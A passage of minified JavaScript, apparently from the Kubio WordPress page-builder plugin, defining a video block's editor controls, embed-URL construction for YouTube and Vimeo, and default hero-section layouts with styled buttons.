wide","kubio")}],posterPlayActionOptions:Ri,posterPlayActionValues:xi,posterDimensionOptions:[{label:Object(We.__)("Auto","kubio"),value:"auto"}],posterDefaultByType:Li,videoDisplayValues:wi,videoCategorysValues:Bi},Wi=Mi.videoCategory.values,Hi={[Wi.INTERNAL]:()=>Object(xe.createElement)(xe.Fragment,null),[Wi.YOUTUBE]:()=>Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Modest branding","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.modestBranding"}),Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Suggested videos","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.suggestedVideo"}),Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Privacy mode","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.privacyMode"})),[Wi.VIMEO]:()=>Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Intro title","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.introTitle"}),Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Intro portrait","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.introPortrait"}),Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Intro byline","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.introByLine"}),Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Controls color","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.controlsColor",returnRawValue:!0}))};var Gi=Object(He.withComputedData)((e=>{const t=e.getAttribute("videoCategory"),o=Hi[t];return{videoTypeIs:{internal:t===Wi.INTERNAL,youtube:t===Wi.YOUTUBE,vimeo:t===Wi.VIMEO},VideoControlsCustom:o,displayAsVideo:e.getAttribute("displayAs")===Mi.videoDisplayAs.values.VIDEO,autoplayWithoutMute:e.getAttribute("playerOptions.autoPlay")&&!e.getAttribute("playerOptions.mute")}}))((e=>{let{computed:t}=e;const{VideoControlsCustom:o,videoTypeIs:n,displayAsVideo:a,autoplayWithoutMute:l}=t;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.InputControlWithPath,{className:"kubio-video-time-container",label:Object(We.__)("Start time","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.startTime",inline:!0,numeric:!0,min:0}),!n.vimeo&&Object(xe.createElement)(Re.InputControlWithPath,{className:"kubio-video-time-container",label:Object(We.__)("End time","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.endTime",inline:!0,numeric:!0,min:0}),Object(xe.createElement)(Re.SeparatorHorizontalLine,{fit:!0}),a&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Autoplay","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.autoPlay"}),l&&Object(xe.createElement)(Le.Tip,{className:"kubio-advanced-background-video-tip"},Object(We.__)("Some browsers disable autoplay for non-muted videos.","kubio"))),Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Mute","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.mute"}),Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Loop","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.loop"}),!n.vimeo&&Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Player controls","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.playerControls",alpha:!1}),Object(xe.createElement)(o,null))})),Ui=Object(He.withComputedData)((e=>{const{replaceInnerBlocks:t}=Object(Ve.useDispatch)("core/block-editor");return{showPosterImage:e.getAttribute("displayAs")===Mi.videoDisplayAs.values.POSTER_IMAGE,playAction:{value:e.getAttribute("posterImage.playAction"),onChange:o=>{(o=>{const n=(0,Mi.posterDefaultByType[o])();t(null==e?void 0:e.clientId,[n],!1)})(o),e.setAttribute("posterImage.playAction",o)}}}}))((e=>{let{computed:t,imageOptions:o,imageSizeOptions:n,posterSlugOptions:a}=e;const{showPosterImage:l,playAction:r}=t;return l?Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.MediaPicker,Object(ut.a)({showButton:!0,buttonLabel:Object(We.__)("Change poster image","kubio"),mediaType:"image",withReset:!0,label:Object(We.__)("Poster image","kubio")},o)),n.length>0&&Object(xe.createElement)(Re.GutentagSelectControl,Object(ut.a)({label:Object(We.__)("Dimension","kubio"),options:n},a)),Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Open in lightbox","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"posterImage.lightbox"}),Object(xe.createElement)(Re.ToggleGroup,{label:Object(We.__)("Play action","kubio"),options:Mi.posterPlayActionOptions,value:r.value,onChange:r.onChange})):Object(xe.createElement)(xe.Fragment,null)}));const Fi=Mi.videoCategory.values,zi={[Fi.INTERNAL]:()=>Object(xe.createElement)(Le.Flex,{align:"bottom",style:{marginBottom:10}},Object(xe.createElement)("div",{className:"kubio-video-input-container internal-video"},Object(xe.createElement)(Le.Flex,{justify:"space-between",style:{marginBottom:5}},Object(xe.createElement)("span",null,Object(We.__)("Video","kubio")),Object(xe.createElement)(Re.PopoverOptionsButton,{popupContent:Object(xe.createElement)(Gi,null)})),Object(xe.createElement)(Re.MediaPickerWithPath,{showButton:!0,buttonLabel:Object(We.__)("Change video","kubio"),mediaType:"video",type:He.WithDataPathTypes.ATTRIBUTE,path:"internalUrl"}))),[Fi.YOUTUBE]:()=>Object(xe.createElement)(Le.Flex,{align:"bottom",style:{marginBottom:10}},Object(xe.createElement)("div",{className:"kubio-video-input-container"},Object(xe.createElement)(Re.InputControlWithPath,{label:Object(We.__)("Youtube link","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"youtubeUrl"})),Object(xe.createElement)(Re.PopoverOptionsButton,{popupContent:Object(xe.createElement)(Gi,null)})),[Fi.VIMEO]:()=>Object(xe.createElement)(Le.Flex,{align:"bottom",style:{marginBottom:10}},Object(xe.createElement)("div",{className:"kubio-video-input-container"},Object(xe.createElement)(Re.InputControlWithPath,{label:Object(We.__)("Vimeo link","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"vimeoUrl"})),Object(xe.createElement)(Re.PopoverOptionsButton,{popupContent:Object(xe.createElement)(Gi,null)}))};var Vi=Object(He.withComputedData)((e=>{const{replaceInnerBlocks:t,selectBlock:o}=Object(Ve.useDispatch)("core/block-editor"),n=o=>{const n=(0,Mi.posterDefaultByType[o])({attributes:{name:"font-awesome/play"}});t(null==e?void 0:e.clientId,[n],!1)},a={value:e.getAttribute("displayAs"),onChange:t=>{const o=Mi.videoDisplayValues;switch(t){case o.POSTER_IMAGE:const t=e.getAttribute("posterImage.playAction","button");n(t);break;case o.ICON_WITH_LIGHTBOX:n(Mi.posterPlayAction.values.ICON)}e.setAttribute("displayAs",t)}},l=e.getAttribute("videoCategory"),r=zi[l],i=Object(Ve.useSelect)((t=>{const{getBlock:o}=t("core/block-editor");return o(null==e?void 0:e.clientId)})),c={value:e.getAttribute("posterImage.url"),onChange:t=>{const o={url:t.url,id:t.id,sizeSlug:Ti};e.setAttribute("posterImage",o)},onReset:()=>{e.setAttribute("posterImage",{},{unset:!0})}},s=e.getAttribute("posterImage.id"),u=Object(Ve.useSelect)((e=>{const{getMedia:t}=e("core");return s?t(s):null}),[s]),{imageSizes:p}=Object(Ve.useSelect)((e=>{const{getSettings:t}=e("core/block-editor");return Object(Be.pick)(t(),["imageSizes"])})),b=Object(Be.map)(Object(Be.filter)(p,(e=>{let{slug:t}=e;return Object(Be.get)(u,["media_details","sizes",t,"source_url"])})),(e=>{let{name:t,slug:o}=e;return{value:o,label:t}})),m={value:e.getAttribute("posterImage.sizeSlug"),onChange:t=>{const o=(n=t,Object(Be.get)(u,["media_details","sizes",n,"source_url"]));var n;if(!o)return null;e.setAttribute("posterImage",{url:o,sizeSlug:t})}},d=e.getAttribute("posterImage.playAction");return{VideoPicker:r,displayAs:a,selectInner:()=>{o(i.innerBlocks[0].clientId)},videoCategory:e.getAttribute("videoCategory"),imageOptions:c,imageSizeOptions:b,posterSlugOptions:m,playAction:d}}))((e=>{let{computed:t}=e;const{VideoPicker:o,displayAs:n,selectInner:a,videoCategory:l,imageOptions:r,imageSizeOptions:i,posterSlugOptions:c,playAction:s}=t;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Video options","kubio"),className:"video-options-panel"},Object(xe.createElement)(Re.ToggleGroupWithPath,{label:Object(We.__)("Video type","kubio"),options:Mi.videoCategory.options,type:He.WithDataPathTypes.ATTRIBUTE,path:"videoCategory"}),Object(xe.createElement)(o,null),Object(xe.createElement)(Re.GutentagSelectControl,Object(ut.a)({label:Object(We.__)("Display as","kubio"),options:Mi.videoDisplayAs.options},n)),n.value===Mi.videoDisplayValues.VIDEO&&l===Mi.videoCategorysValues.INTERNAL&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.MediaPicker,Object(ut.a)({showButton:!0,buttonLabel:Object(We.__)("Change poster image","kubio"),mediaType:"image",withReset:!0,label:Object(We.__)("Poster image","kubio")},r)),i.length>0&&Object(xe.createElement)(Re.GutentagSelectControl,Object(ut.a)({label:Object(We.__)("Dimension","kubio"),options:i},c))),n.value===Mi.videoDisplayValues.POSTER_IMAGE&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Ui,{imageOptions:r,imageSizeOptions:i,posterSlugOptions:c})),(n.value===Mi.videoDisplayValues.POSTER_IMAGE||n.value===Mi.videoDisplayValues.ICON_WITH_LIGHTBOX)&&Object(xe.createElement)("div",{className:"video-options-customize-play__container"},Object(xe.createElement)(Le.Button,{isPrimary:!0,onClick:a,className:"kubio-button-100 inner-block-button "},s===Mi.posterPlayActionValues.BUTTON&&n.value===Mi.videoDisplayValues.POSTER_IMAGE?Object(We.__)("Customize play button","kubio"):Object(We.__)("Customize play icon","kubio")))))}));const Yi=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(Vi,null)),$i="outer",Ki="video",qi="poster",Xi="lightbox",Qi={[$i]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal"],filters:{spacing:{supportsPadding:!1,supportsMargin:!0}}}},[Ki]:{label:Object(We.__)("Video","kubio"),internal:!0,supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:["normal"]}},[qi]:{internal:!0,supports:{styles:[],states:["normal"]}},[Xi]:{internal:!0,supports:{styles:[],states:["normal"]}}};var Zi=()=>Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Video","kubio")},Object(xe.createElement)(Re.SelectControlWithPath,{label:Object(We.__)("Aspect ratio","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,options:Mi.aspectRatioOptions,path:"aspectRatio"}),Object(xe.createElement)(Re.BoxShadowWithPath,{label:Object(We.__)("Box shadow","kubio"),style:$i,type:He.WithDataPathTypes.STYLE,path:"boxShadow"}));const Ji=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(Zi,null)),ec=e=>{const t=[];return Ne.a.each(e,((e,o)=>{"boolean"==typeof e&&(e=e?1:0),t.push(`${o}=${e}`)})),t},tc=e=>{const{videoCategory:t}=e;switch(t){case"internal":return(e=>{let{internalUrl:t,playerOptions:o={}}=e,{startTime:n,endTime:a}=o;n=n||0,a=a||0;let l="";return n&&a||0===n&&a?l=`#t=${n},${a}`:n&&!a&&(l=`#t=${n}`),`${t}${l}`})(e);case"youtube":return(e=>{let{youtubeUrl:t="",playerOptions:o,displayAsPosterImage:n}=e;const{startTime:a,endTime:l,mute:r,loop:i,playerControls:c,modestBranding:s,suggestedVideo:u,privacyMode:p}=o;let b=t;if(!b)return b;const m=b.match(/(?:youtube\.com\/(?:[^\/]+\/.+\/|(?:v|e(?:mbed)?)\/|.*[?&]v=)|youtu\.be\/)([^"&?\/ ]{11})/i);if(!m)return b;const d=m[1];b=`https://www.youtube.com/embed/${d}?`;const h={start:a,end:l,autoPlay:!1,mute:r,loop:n&&i,controls:c,modestBranding:s,rel:u,enablejsapi:!0},O=ec(h);return h.loop&&O.push(`playlist=${d}`),p&&(b=b.replace("youtube","youtube-nocookie")),b+=O.join("&"),b})(e);case"vimeo":return(e=>{let{vimeoUrl:t="",playerOptions:o,displayAsPosterImage:n}=e;const{startTime:a,mute:l,loop:r,introTitle:i,introPortrait:c,introByLine:s,controlsColor:u}=o;let p=t;const b=p.match(/(?:www\.|player\.)?vimeo.com\/(?:channels\/(?:\w+\/)?|groups\/(?:[^\/]*)\/videos\/|album\/(?:\d+)\/video\/|video\/|)(\d+)(?:[a-zA-Z0-9_\-]+)?/i);if(!b)return p;p=`https://player.vimeo.com/video/${b[1]}?`;const m={autoplay:!1,autopause:!1,muted:l,loop:n&&r,title:i,portrait:c,byline:s,color:u?ci()(u).toHex():"",api:!0};return p+=ec(m).join("&"),a&&(p+=`#t=${(e=>{let t=new Date(1e3*e).toISOString().substr(14,5);return t+="s",t.replace(":","m")})(a)}`),p})(e)}},oc=function(){let{playerOptions:e,displayAsPosterImage:t}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{autoPlay:!1,muted:null==e?void 0:e.mute,loop:null==e?void 0:e.loop,controls:null==e?void 0:e.playerControls}},nc=Object(He.composeBlockWithStyle)(Yo.BUTTON),ac=[Yo.ICON,Yo.BUTTON,Yo.BUTTON_GROUP],lc=[nc],rc=Object(Me.compose)(Object(He.withColibriDataAutoSave)(((e,t)=>{const o=e.getAttribute("aspectRatio");let n=e.getAttributes(["internalUrl","youtubeUrl","vimeoUrl","videoCategory","displayAs","playerOptions"]);const{displayAs:a,videoCategory:l}=n,r=Mi.videoDisplayAs.values,i=a===r.VIDEO,c=a===r.POSTER_IMAGE,s=a===r.ICON_WITH_LIGHTBOX,u=l===Mi.videoCategory.values.INTERNAL;n=Object.assign({},n,{displayAsVideo:i,displayAsPosterImage:c,displayAsLightbox:s,isInternal:u});const p=tc(n),b=Object(Ve.useSelect)((e=>e("core/block-editor").getSelectedBlockClientId())),m=e.withChildren().map((e=>null==e?void 0:e.clientId)).includes(b);return{displayAsVideo:i,displayAsPosterImage:c,displayAsLightbox:s,url:p,isInternal:u,aspectRatio:o,posterImage:e.getAttribute("posterImage"),attributes:oc(n),childIsSelected:m}})),Object(He.withStyledElements)((function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{posterImage:t}=e;return{[$i]:{className:()=>{const{aspectRatio:t,displayAsLightbox:o}=e,n=[];return o||n.push(`h-aspect-ratio--${t}`),n}},[qi]:{className:()=>{const e=null==t?void 0:t.sizeSlug;return{[`size-${e}`]:e}},style:{backgroundImage:`url('${null==t?void 0:t.url}')`}}}}),(e=>{let{computed:t}=e;return{[Ki]:{className:()=>["h-pointer-event-none"]}}})),Object(He.withCallbackOnEmptyInnerBlocks)(((e,t)=>{let{dataHelper:o}=t;const{selectBlock:n}=e;o.setAttribute("displayAs","video"),n(null==o?void 0:o.clientId)}))),ic=rc((e=>{const{computed:t,StyledElements:o}=e,{isInternal:n,displayAsPosterImage:a,displayAsLightbox:l,url:r,attributes:i,childIsSelected:c,posterImage:s}=t,[,u]=Object(ze.useCurrentInspectorTab)(),{debouncedShowOverlay:p}=Ke({scrollInView:!0}),{openSidebar:b=Ne.a.noop}=Object(Ve.useDispatch)(Fe.STORE_KEY)||{},m=c?xe.Fragment:Le.Disabled,d=Object(xe.useCallback)((e=>{const t=e.target.closest(".block-editor-block-list__block").dataset.kubio;"kubio/icon"!==t&&"kubio/button"!==t||(b("block-inspector"),u("content"),p(".video-options-customize-play__container"))}),[]),h=$o({onClick:d},{renderAppender:!1,templateLock:!1,orientation:"horizontal",allowedBlocks:ac,template:lc}),O=Object(He.useBlockElementProps)(Ki);return Object(xe.createElement)(o.Outer,null,Object(xe.createElement)(m,null,a&&Object(xe.createElement)(o.Poster,h),l&&Object(xe.createElement)(o.Lightbox,h)),!l&&(n?Object(xe.createElement)("div",O,Object(xe.createElement)("video",Object(ut.a)({className:"h-video-main"},i,{src:r,poster:s.url}))):Object(xe.createElement)("div",O,Object(xe.createElement)("iframe",{src:r,className:"h-video-main"}))))}));var cc=Object(He.withPropsChecker)((function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Yi,null),Object(xe.createElement)(Ji,null),Object(xe.createElement)(ic,e))}));const sc={name:"kubio/video",category:"kubio-basic",attributes:{kubio:{type:"object"},displayAs:{type:"string",default:"video"},videoCategory:{type:"string",default:"internal"},internalUrl:{type:"string",default:""},youtubeUrl:{type:"string",default:"https://www.youtube.com/watch?v=IshAk6Mwlj4&ab_channel=Kubio"},vimeoUrl:{type:"string",default:"https://vimeo.com/655007132"},aspectRatio:{type:"string",default:"16-9"},playerOptions:{type:"object",default:{startTime:"",endTime:"",autoplay:!1,mute:!1,loop:!1,playerControls:!0,modestBranding:!1,suggestedVideo:!1,privacyMode:!1,controlsColor:"",introTitle:!0,introPortrait:!0,introByLine:!0}},posterImage:{type:"object",default:{id:"",url:"",dimension:"auto",lightbox:!1,playAction:"icon",sizeSlug:""}}},supports:{anchor:!0,kubio:{appearanceEffect:!0,assetsURLImporterMap:{internalUrl:{assetIdToAttr:"id",subpath:!1},"posterImage.url":{assetIdToAttr:"posterImage.id",subpath:!1}},default:{style:{descendants:{poster:{background:{type:"image",image:[{source:{type:"image",url:""}}]}}}},props:{}},elementsEnum:{OUTER:"outer",VIDEO:"video",POSTER:"poster",LIGHTBOX:"lightbox"},elementsByName:{outer:{wrapper:!0,default:!0},poster:{},video:{},lightbox:{}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"poster",shouldRender:"computed.displayAsPoster"},children:[{type:"wp:InnerBlocks"}]},{type:"element",props:{name:"lightbox",shouldRender:"computed.displayAsIconWithLightbox"},children:[{type:"wp:InnerBlocks"}]},{type:"element",props:{name:"video"}}]}}}},uc=Ne.a.cloneDeep(sc);Ne.a.set(uc,"attributes.internalUrl.default","https://static-assets.kubiobuilder.com/defaults/kubio-intro-video.mp4");const pc=Object(nn.extendBlockMeta)(uc,{title:Object(We.__)("Video","kubio"),description:Object(We.__)("Add self-hosted, Youtube, or Vimeo videos. Adjust their background, spacing, aspect ratios, and shadows.","kubio"),icon:on.BlockIcons.Video,keywords:[Object(We.__)("movie","kubio"),Object(We.__)("video","kubio"),Object(We.__)("vimeo","kubio"),Object(We.__)("youtube","kubio")],apiVersion:2,supports:{kubio:{elementsByName:Qi},reusable:!1,html:!1},edit:cc,save:function(){return Object(xe.createElement)(De.InnerBlocks.Content,null)}}),bc="text",mc="media",dc="internal.heroSection.type",hc=Ne.a.merge({},vn.EDIT_LAYOUT,{label:Object(We.__)("Change hero layout","kubio")}),Oc=Ne.a.merge({},vn.SELECT_BLOCK,{label:Object(We.__)("Hero settings","kubio")}),gc=[[vn.CHANGE_IMAGE_VIDEO,vn.CHANGE_BACKGROUND,hc],[Oc]],yc={radius:{left:{value:"56",unit:"px"},right:{value:"56",unit:"px"}}},jc={border:{top:yc,bottom:yc},typography:{size:{unit:"px",value:14}}},kc="link",Ec="icon",fc="text",vc={["outer"]:{internal:!0,supports:{styles:[...cn.StylesPresetsEnum.ALL],states:cn.StatesPresetsEnum.NONE}},[kc]:{label:Object(We.__)("Link","kubio"),supports:{styles:[cn.StylesEnum.TRANSITION,cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY,cn.StylesEnum.MISC],states:cn.StatesPresetsEnum.LINK,filters:{typography:{getDynamicProps:(e,t)=>({nodeType:"a"})}}}},[fc]:{internal:!0},[Ec]:{label:Object(We.__)("Icon","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.LINK}}},_c="outer",Cc="link",Ic="icon",Tc=Object(un.mergeNoArrays)({},vc,{[Cc]:{label:Object(We.__)("Button","kubio"),supports:{states:cn.StatesPresetsEnum.BUTTON,styles:[cn.StylesEnum.TRANSITION,cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY,cn.StylesEnum.MISC]}},[Ic]:{label:Object(We.__)("Icon","kubio"),supports:{states:cn.StatesPresetsEnum.BUTTON}}}),Sc=Ne.a.merge({},jc,{}),wc=e=>()=>{const t=Object(He.getBlockDefaultVariation)(Yo.BUTTON)||{},{attributes:o={},innerBlocks:n=[]}=t,{style:a,props:l,_props:r,_style:i,attributes:c}=e,s={...c,kubio:{style:a,props:l,_props:r,_style:i}},u=Ne.a.merge({},{attributes:o},{attributes:s});return Object(He.composeBlockWithStyle)(Yo.BUTTON,u,n)},Pc=wc({attributes:{text:Object(We.__)("Action button 1","kubio")},style:{descendants:{[Cc]:Sc}}}),Ac={color:"white",style:"solid",width:{value:2,unit:"px"}},Bc={background:{color:"transparent"},border:{top:Ac,right:Ac,bottom:Ac,left:Ac},states:{hover:{border:{top:{color:"rgba(255, 255, 255, 1)"},right:{color:"rgba(255, 255, 255, 1)"},bottom:{color:"rgba(255, 255, 255, 1)"},left:{color:"rgba(255, 255, 255, 1)"}},background:{color:"rgba(255, 255, 255, 0.25)"}}}},Nc={text:Object(We.__)("Action button 2","kubio")},xc=Ne.a.merge({},jc,Bc),Rc=wc({attributes:Nc,style:{descendants:{[Cc]:xc}}}),Dc={content:Object(We.__)("And the subtitle is better.","kubio")},Lc=Object(He.composeBlockWithStyle)(Yo.TEXT,{props:{type:"lead"},attributes:Dc}),Mc={content:Object(We.__)("Your awesome site title goes here.","kubio"),kubio:{props:{level:1}}},Wc=[Object(He.composeBlockWithStyle)(Yo.HEADING,{props:{},attributes:Mc}),Lc,()=>{const e=Object(He.getBlockDefaultVariation)(Yo.BUTTON_GROUP)||{},{attributes:t={}}=e,o=[Pc(),Rc()];return Object(He.composeBlockWithStyle)(Yo.BUTTON_GROUP,{attributes:t},o)}],Hc={};Ne.a.set(Hc,dc,bc);const Gc=Nn({props:Hc,_style:Dn({},Ln(80),Ln(100))},Wc),Uc=[Pn({props:{layout:{equalWidth:!1}}},[Gc])],{Section:Fc}=Wa({menuItems:gc,isHero:!0}),zc={kubio:{props:{layout:{equalWidth:!1},media:{mobile:{layout:{horizontalGap:3}}}}}},Vc=(e,t)=>({name:"kubio/column",attributes:{kubio:{props:{internal:{heroSection:{type:"media"}}},_style:{descendants:{container:{columnWidth:{type:"custom",custom:{value:e,unit:"%"}},media:{tablet:{columnWidth:{type:"custom",custom:{value:t||e,unit:"%"}}},mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}}}}}}}},innerBlocks:[{name:"kubio/image",attributes:{link:{typeOpenLink:"sameWindow",lightboxMedia:""},alt:"",caption:"",captionEnabled:!1,sizeSlug:"large"},innerBlocks:[]}]}),Yc=(e,t)=>({name:"kubio/column",attributes:{kubio:{props:{internal:{heroSection:{type:"text"}}},_style:{descendants:{container:{columnWidth:{type:"custom",custom:{value:e,unit:"%"}},media:{tablet:{columnWidth:{type:"custom",custom:{value:t||e,unit:"%"}}},mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}}}}}},style:{descendants:{container:{},inner:{customHeight:{type:"fit-to-content","min-height":{value:"",unit:"px"}}}}}}},innerBlocks:[{name:"kubio/heading",attributes:{kubio:{props:{level:1},style:{descendants:{text:{typography:{size:{value:5,unit:"em"},weight:600},media:{mobile:{typography:{size:{value:2.8,unit:"em"}}},tablet:{typography:{size:{value:3,unit:"em"}}}}}}}},link:{typeOpenLink:"sameWindow"},content:"Your vision. Our know-how."},innerBlocks:[]},{name:"kubio/text",attributes:{kubio:{props:{type:"lead",isLead:!0}},content:"Start building your website today!",dropCap:!1},innerBlocks:[]},{name:"kubio/buttongroup",attributes:{kubio:{}},innerBlocks:[{name:"kubio/button",attributes:{kubio:{props:{buttonWidth:"fitToContent",iconPosition:"after",showIcon:!1,buttonSize:"large",horizontalAlign:"center"},style:{descendants:{link:{textAlign:"center",background:{color:"rgba(var(--kubio-color-1),1)"},typography:{color:"#fff",family:"Open Sans",margin:{top:"",bottom:"2rem"},size:{unit:"px",value:"14"},weight:"600",lineHeight:{value:"1",unit:""},transform:"uppercase",letterSpacing:{value:"1",unit:"px"}},border:{top:{color:"rgba(var(--kubio-color-1),1)",style:"solid",width:{value:"2",unit:"px"},radius:{left:{value:0,unit:"px"},right:{value:0,unit:"px"}}},bottom:{color:"rgba(var(--kubio-color-1),1)",style:"solid",width:{value:"2",unit:"px"},radius:{right:{value:0,unit:"px"},left:{value:0,unit:"px"}}},right:{color:"rgba(var(--kubio-color-1),1)",style:"solid",width:{value:"2",unit:"px"}},left:{color:"rgba(var(--kubio-color-1),1)",style:"solid",width:{value:"2",unit:"px"}}},padding:{top:{unit:"px",value:"15"},bottom:{unit:"px",value:"15"},left:{unit:"px",value:"30"},right:{unit:"px",value:"30"}},states:{hover:{background:{color:"rgba(var(--kubio-color-1-variant-4),1)"},border:{top:{color:"rgba(var(--kubio-color-1-variant-4),1)"},right:{color:"rgba(var(--kubio-color-1-variant-4),1)"},bottom:{color:"rgba(var(--kubio-color-1-variant-4),1)"},left:{color:"rgba(var(--kubio-color-1-variant-4),1)"}}}}},icon:{size:{unit:"px",value:"14"},margin:{left:{value:10,unit:"px"},right:{value:0,unit:"px"}}}}}},text:"Get started today",link:{value:"",typeOpenLink:"sameWindow",noFollow:!1,lightboxMedia:""},preserveSpace:{text:!1},icon:{name:"font-awesome/arrow-right"}},innerBlocks:[]},{name:"kubio/button",attributes:{kubio:{props:{buttonWidth:"fitToContent",iconPosition:"after",showIcon:!1,buttonSize:"large",horizontalAlign:"center"},style:{descendants:{link:{textAlign:"center",background:{color:"rgba(var(--kubio-color-5),1)"},typography:{family:"Open Sans",margin:{top:"",bottom:"2rem"},size:{unit:"px",value:"14"},weight:"600",lineHeight:{value:"1",unit:""},transform:"uppercase",letterSpacing:{value:"1",unit:"px"},color:"rgba(var(--kubio-color-6),1)"},border:{top:{color:"white",style:"solid",width:{value:2,unit:"px"},radius:{right:{value:0,unit:"px"},left:{value:0,unit:"px"}}},bottom:{color:"white",style:"solid",width:{value:2,unit:"px"},radius:{right:{value:0,unit:"px"},left:{value:0,unit:"px"}}},right:{color:"white",style:"solid",width:{value:2,unit:"px"}},left:{color:"white",style:"solid",width:{value:2,unit:"px"}}},padding:{top:{unit:"px",value:"15"},bottom:{unit:"px",value:"15"},left:{unit:"px",value:"30"},right:{unit:"px",value:"30"}},states:{hover:{background:{color:"rgba(var(--kubio-color-1-variant-4),1)"},border:{top:{color:"rgba(var(--kubio-color-1-variant-4),1)"},right:{color:"rgba(var(--kubio-color-1-variant-4),1)"},bottom:{color:"rgba(var(--kubio-color-1-variant-4),1)"},left:{color:"rgba(var(--kubio-color-1-variant-4),1)"}},typography:{color:"rgba(var(--kubio-color-5),1)"}}}},icon:{size:{unit:"px",value:"14"},margin:{left:{value:10,unit:"px"},right:{value:0,unit:"px"}}}}}},text:"Learn more",link:{value:"",typeOpenLink:"sameWindow",noFollow:!1,lightboxMedia:""},preserveSpace:{text:!1},icon:{name:"font-awesome/arrow-right"}}}]}]}),$c=(e,t)=>({name:"kubio/column",attributes:{kubio:{props:{overlapOptions:!1,layout:{horizontalGap:2,verticalGap:2,custom:{horizontalGap:{unit:"px",value:""},verticalGap:{unit:"px",value:""},horizontalInnerGap:{unit:"px",value:""},verticalInnerGap:{unit:"px",value:""}},verticalAlign:"center",verticalInnerGap:2,horizontalInnerGap:2},internal:{heroSection:{type:"text"}}},style:{descendants:{inner:{textAlign:"center",customHeight:{type:"fit-to-content","min-height":{value:"",unit:"px"}},media:{mobile:{textAlign:"center"},tablet:{textAlign:"center"}},border:{top:{style:"solid",radius:{left:{value:"9",unit:"px"},right:{value:"9",unit:"px"}}},right:{style:"solid"},bottom:{style:"solid",radius:{left:{value:"9",unit:"px"},right:{value:"9",unit:"px"}}},left:{style:"solid"}},padding:{left:{unit:"px"},right:{unit:"px"},top:{unit:"px"},bottom:{unit:"px"}}}}},_style:{descendants:{container:{columnWidth:{type:"custom",custom:{unit:"%",value:e}},media:{mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}},tablet:{columnWidth:{custom:{value:t||e,unit:"%"}}}}}}}}},innerBlocks:[{name:"kubio/page-title",attributes:{kubio:{props:{level:"h1"}},templates:{normalPage:"{TITLE}",normalResultsPage:"Search results for: {TITLE}",errorPage:"Sorry! Page Not Found!",singlePost:"{TITLE}",categoryArchive:"Posts in {TITLE}",authorArchive:"Posts by {TITLE}",tagArchive:"Posts about {TITLE}",yearArchive:"Posts from {TITLE}",monthArchive:"Posts from {TITLE}",dayArchive:"Posts from 